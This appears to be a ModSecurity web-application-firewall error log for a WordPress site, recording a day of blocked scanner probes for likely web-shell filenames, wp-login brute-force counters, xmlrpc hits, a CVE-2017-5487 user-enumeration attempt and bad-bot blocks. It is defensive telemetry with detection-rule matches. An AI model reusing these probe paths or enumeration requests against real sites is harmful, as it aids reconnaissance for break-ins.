[Mon Apr 27 07:41:32.637828 2026] [:error] [pid 36789:tid 36812] [client 20.111.17.80:7491] [client 20.111.17.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gk.php"] [unique_id "ae6irNnrZBzXPaJGSeLsSQAAANU"]
[Mon Apr 27 07:41:33.369475 2026] [:error] [pid 36490:tid 36568] [client 20.111.17.80:37952] [client 20.111.17.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gk.php"] [unique_id "ae6irUxiWa1s9LPhuWK4eAAAAJQ"]
[Mon Apr 27 07:41:34.119408 2026] [:error] [pid 36490:tid 36553] [client 20.111.17.80:49544] [client 20.111.17.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gk.php"] [unique_id "ae6irkxiWa1s9LPhuWK4fQAAAIU"]
[Mon Apr 27 07:41:35.256789 2026] [:error] [pid 36490:tid 36564] [client 20.111.17.80:37524] [client 20.111.17.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xmu.php"] [unique_id "ae6ir0xiWa1s9LPhuWK4gwAAAJA"]
[Mon Apr 27 07:41:36.607814 2026] [:error] [pid 36490:tid 36572] [client 20.111.17.80:42062] [client 20.111.17.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xmu.php"] [unique_id "ae6isExiWa1s9LPhuWK4hwAAAJg"]
[Mon Apr 27 07:41:39.480174 2026] [:error] [pid 36489:tid 36527] [client 20.111.17.80:38895] [client 20.111.17.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xmu.php"] [unique_id "ae6is46sRkW8OfGv18q5BAAAAEY"]
[Mon Apr 27 07:41:42.408185 2026] [:error] [pid 36575:tid 36593] [client 20.111.17.80:7522] [client 20.111.17.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xmu.php"] [unique_id "ae6itreGZIkifrMjcl9QgQAAARA"]
[Mon Apr 27 07:41:43.574945 2026] [:error] [pid 36488:tid 36517] [client 20.111.17.80:7869] [client 20.111.17.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sd.php"] [unique_id "ae6it8IA2VZgjxmwXxP7LwAAABg"]
[Mon Apr 27 07:41:45.145858 2026] [:error] [pid 36789:tid 36810] [client 20.111.17.80:49543] [client 20.111.17.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sd.php"] [unique_id "ae6iudnrZBzXPaJGSeLsVwAAANM"]
[Mon Apr 27 07:41:48.311929 2026] [:error] [pid 36575:tid 36600] [client 20.111.17.80:42072] [client 20.111.17.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sd.php"] [unique_id "ae6ivLeGZIkifrMjcl9QjAAAARc"]
[Mon Apr 27 07:41:50.294621 2026] [:error] [pid 36575:tid 36580] [client 20.111.17.80:51193] [client 20.111.17.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sd.php"] [unique_id "ae6ivreGZIkifrMjcl9QkAAAAQM"]
[Mon Apr 27 09:50:30.106627 2026] [:error] [pid 6972:tid 7046] [client 182.44.2.148:53531] [client 182.44.2.148] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "ae7A5uJniPbCiT6NuKfPHgAAAVI"]
[Mon Apr 27 11:41:26.999771 2026] [:error] [pid 6971:tid 7017] [client 104.198.68.113:27878] [client 104.198.68.113] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/"] [unique_id "ae7a5rOap7jCIaP4nNPtAAAAANA"]
[Mon Apr 27 12:25:34.686077 2026] [:error] [pid 62510:tid 62545] [client 43.153.27.244:40524] [client 43.153.27.244] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "ae7lPoCpoM1jGOxUMpvlmgAAAME"]
[Mon Apr 27 13:21:15.196793 2026] [:error] [pid 62510:tid 62559] [client 68.183.217.157:54179] [client 68.183.217.157] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 68.183.217.157, incrementing brute counter"] [hostname "www.gigfragments.org"] [uri "/wp-login.php"] [unique_id "ae7yS4CpoM1jGOxUMpvyPwAAAM4"]
[Mon Apr 27 13:21:18.304756 2026] [:error] [pid 62510:tid 62553] [client 68.183.217.157:62164] [client 68.183.217.157] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 68.183.217.157, incrementing brute counter"] [hostname "www.gigfragments.org"] [uri "/wp-login.php"] [unique_id "ae7yToCpoM1jGOxUMpvyRgAAAMg"]
[Mon Apr 27 13:45:11.114425 2026] [:error] [pid 62510:tid 62558] [client 223.181.87.0:19973] [client 223.181.87.0] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 223.181.87.0, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ae7354CpoM1jGOxUMpv2YAAAAM0"]
[Mon Apr 27 13:45:21.230569 2026] [:error] [pid 62511:tid 62587] [client 223.181.87.0:18706] [client 223.181.87.0] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 223.181.87.0, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ae738bBjE-jhU4FY4HhyGwAAAU0"]
[Mon Apr 27 13:45:31.526031 2026] [:error] [pid 62607:tid 62631] [client 223.181.87.0:6853] [client 223.181.87.0] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 223.181.87.0, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ae73-4Xk80_zcPo33verjAAAAFY"]
[Mon Apr 27 13:45:41.734431 2026] [:error] [pid 62509:tid 62533] [client 223.181.87.0:20005] [client 223.181.87.0] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 223.181.87.0, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ae74BdwtbauadMz70GGDJQAAAJE"]
[Mon Apr 27 13:45:52.033751 2026] [:error] [pid 62509:tid 62529] [client 223.181.87.0:30852] [client 223.181.87.0] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 223.181.87.0, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ae74ENwtbauadMz70GGDKQAAAI0"]
[Mon Apr 27 13:51:52.679247 2026] [:error] [pid 62607:tid 62620] [client 34.55.86.97:64918] [client 34.55.86.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/media/system/js/core.js"] [unique_id "ae75eIXk80_zcPo33vevfgAAAEs"]
[Mon Apr 27 14:11:37.378796 2026] [:error] [pid 62511:tid 62581] [client 43.130.67.33:49776] [client 43.130.67.33] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "ae7-GbBjE-jhU4FY4Hh9DwAAAUc"]
[Mon Apr 27 16:19:26.809032 2026] [:error] [pid 41011:tid 41087] [client 102.130.192.63:2218] [client 102.130.192.63] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 102.130.192.63, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ae8cDgsl5QfsSXIdF6EbhgAAAhI"]
[Mon Apr 27 16:19:36.753669 2026] [:error] [pid 41011:tid 41082] [client 102.130.192.63:2219] [client 102.130.192.63] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 102.130.192.63, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ae8cGAsl5QfsSXIdF6EbkgAAAg0"]
[Mon Apr 27 16:19:47.370703 2026] [:error] [pid 61339:tid 61346] [client 102.130.192.63:2220] [client 102.130.192.63] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 102.130.192.63, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ae8cIyHHVuv2RN6lIrgHtQAAAEU"]
[Mon Apr 27 16:19:58.071956 2026] [:error] [pid 41010:tid 41064] [client 102.130.192.63:2221] [client 102.130.192.63] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 102.130.192.63, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ae8cLjc-oOrM_e97_4D28gAAAdY"]
[Mon Apr 27 16:20:08.681558 2026] [:error] [pid 61339:tid 61363] [client 102.130.192.63:2222] [client 102.130.192.63] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 102.130.192.63, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ae8cOCHHVuv2RN6lIrgHwgAAAFY"]
[Mon Apr 27 16:25:43.668977 2026] [:error] [pid 41011:tid 41069] [client 14.215.163.132:44163] [client 14.215.163.132] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "ae8dhwsl5QfsSXIdF6EcyAAAAgA"]
[Mon Apr 27 16:37:34.129928 2026] [:error] [pid 61339:tid 61343] [client 155.212.135.191:42208] [client 155.212.135.191] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 155.212.135.191, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ae8gTiHHVuv2RN6lIrgQGwAAAEI"]
[Mon Apr 27 16:37:38.410183 2026] [:error] [pid 61339:tid 61358] [client 155.212.135.191:42208] [client 155.212.135.191] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 155.212.135.191, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ae8gUiHHVuv2RN6lIrgQJgAAAFE"], referer: https://gigfragments.org/wp-login.php
[Mon Apr 27 16:49:51.046072 2026] [:error] [pid 41009:tid 41035] [client 65.254.225.225:50234] [client 65.254.225.225] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 65.254.225.225, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ae8jL9ANrlkTbZMXYE2gWAAAAZU"]
[Mon Apr 27 16:49:52.660763 2026] [:error] [pid 41009:tid 41026] [client 65.254.225.225:50234] [client 65.254.225.225] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 65.254.225.225, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ae8jMNANrlkTbZMXYE2gWgAAAYw"], referer: https://gigfragments.org/wp-login.php
[Mon Apr 27 16:56:53.658823 2026] [:error] [pid 41010:tid 41045] [client 139.99.69.238:44304] [client 139.99.69.238] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 139.99.69.238, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ae8k1Tc-oOrM_e97_4AEnAAAAcM"]
[Mon Apr 27 18:08:28.558310 2026] [:error] [pid 41098:tid 41108] [client 95.219.203.68:51391] [client 95.219.203.68] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 95.219.203.68, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ae81nOIJ72vFwurGAAt1GQAAAAg"]
[Mon Apr 27 18:12:04.576028 2026] [:error] [pid 41010:tid 41066] [client 95.219.203.68:53525] [client 95.219.203.68] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "ae82dDc-oOrM_e97_4AxQAAAAdg"]
[Mon Apr 27 18:12:37.175808 2026] [:error] [pid 41098:tid 41111] [client 95.219.203.68:53913] [client 95.219.203.68] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 95.219.203.68, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ae82leIJ72vFwurGAAt1xAAAAAs"]
[Mon Apr 27 18:13:11.845333 2026] [:error] [pid 61339:tid 61357] [client 95.219.203.68:54333] [client 95.219.203.68] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 95.219.203.68, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ae82tyHHVuv2RN6lIrhbAQAAAFA"]
[Mon Apr 27 18:13:36.561078 2026] [:error] [pid 41098:tid 41122] [client 95.219.203.68:54619] [client 95.219.203.68] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 95.219.203.68, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ae820OIJ72vFwurGAAt2AQAAABY"]
[Mon Apr 27 18:14:01.168959 2026] [:error] [pid 41011:tid 41080] [client 95.219.203.68:54919] [client 95.219.203.68] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 95.219.203.68, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ae826Qsl5QfsSXIdF6FCUwAAAgs"]
[Mon Apr 27 19:58:59.212808 2026] [:error] [pid 5686:tid 5697] [client 170.106.11.6:37046] [client 170.106.11.6] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "ae9Pgxcinw5wXX1GgKhFfQAAAYE"]
[Mon Apr 27 21:06:43.440388 2026] [:error] [pid 13523:tid 13535] [client 43.156.204.134:46538] [client 43.156.204.134] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "ae9fY-eav51IXKv1ebH0QQAAAIo"]
[Mon Apr 27 21:15:58.281958 2026] [:error] [pid 13523:tid 13540] [client 217.182.195.179:34932] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20vip.aspx"] [unique_id "ae9hjueav51IXKv1ebH5KgAAAI8"]
[Mon Apr 27 21:16:00.139313 2026] [:error] [pid 31555:tid 31557] [client 217.182.195.179:42386] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "ae9hkLJDZf3DNaSMAJ1FbQAAAAA"]
[Mon Apr 27 21:16:02.058213 2026] [:error] [pid 13523:tid 13529] [client 217.182.195.179:42392] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot.aspx"] [unique_id "ae9hkueav51IXKv1ebH5MgAAAIQ"]
[Mon Apr 27 21:16:04.086541 2026] [:error] [pid 13554:tid 13568] [client 217.182.195.179:42398] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot168.aspx"] [unique_id "ae9hlHJx87Dl-xMmL92HLQAAAMw"]
[Mon Apr 27 21:16:06.106296 2026] [:error] [pid 13464:tid 13482] [client 217.182.195.179:37702] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot99.aspx"] [unique_id "ae9hlmIEa0q6oQ95zvEl7QAAAc4"]
[Mon Apr 27 21:16:07.843319 2026] [:error] [pid 13464:tid 13475] [client 217.182.195.179:37718] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20soft.aspx"] [unique_id "ae9hl2IEa0q6oQ95zvEl7wAAAcc"]
[Mon Apr 27 21:16:09.888281 2026] [:error] [pid 31555:tid 31576] [client 217.182.195.179:37732] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20th.aspx"] [unique_id "ae9hmbJDZf3DNaSMAJ1FhQAAABM"]
[Mon Apr 27 21:16:11.773778 2026] [:error] [pid 13554:tid 13580] [client 217.182.195.179:37744] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20thailand.aspx"] [unique_id "ae9hm3Jx87Dl-xMmL92HOAAAANg"]
[Mon Apr 27 21:16:13.826170 2026] [:error] [pid 31555:tid 31577] [client 217.182.195.179:37754] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20wallet.aspx"] [unique_id "ae9hnbJDZf3DNaSMAJ1FiQAAABQ"]
[Mon Apr 27 21:16:15.718414 2026] [:error] [pid 13465:tid 13505] [client 217.182.195.179:59562] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20world.aspx"] [unique_id "ae9hn_19I-6GBJQxn_iz2wAAAEo"]
[Mon Apr 27 21:16:17.765160 2026] [:error] [pid 13523:tid 13536] [client 217.182.195.179:59570] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pgslot%20login.aspx"] [unique_id "ae9hoeeav51IXKv1ebH5SQAAAIs"]
[Mon Apr 27 21:16:19.660503 2026] [:error] [pid 13465:tid 13496] [client 217.182.195.179:59586] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pgzeed%20gold.aspx"] [unique_id "ae9ho_19I-6GBJQxn_iz3wAAAEE"]
